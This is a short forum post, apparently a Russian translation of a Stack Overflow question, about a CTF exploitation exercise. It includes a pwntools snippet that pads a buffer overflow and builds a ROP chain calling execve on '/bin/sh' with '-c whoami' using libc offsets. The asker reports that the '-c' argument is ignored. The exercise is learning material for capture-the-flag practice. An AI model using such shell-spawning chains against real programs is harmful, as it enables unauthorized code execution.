Execve игнорирует параметр аргумента -c из системного вызоваPython

Программы на Python
Anonymous
Execve игнорирует параметр аргумента -c из системного вызова

Сообщение Anonymous »

Я пытаюсь решить задачу ctf, я использую программирование, ориентированное на sigreturn, но не могу заставить код работать:

Код: Выделить всё

bin_sh    = libc.address + 0x1cb42f
system    = libc.address + 0x0000000000050d70

rop = ROP(program, base=0x7fffffffe400)
rop.call('execve', [bin_sh, [[bin_sh], [b'-c'], [b'whoami'], 0], 0])
chain_1  = b''
chain_1 += b'\x00'*136 # chain_1 += b'B'*6
chain_1 += rop.chain()
print(rop.dump())
получает эту ошибку: /bin/sh: 0: невозможно открыть whoami: такого файла нет
выглядит так, будто он игнорирует -c, потому что когда я вставлю его в свою оболочку: /bin/sh whoami, я получу ту же ошибку. может кто-нибудь мне помочь?

Подробнее здесь: https://stackoverflow.com/questions/785 ... om-syscall

Вернуться в «Python»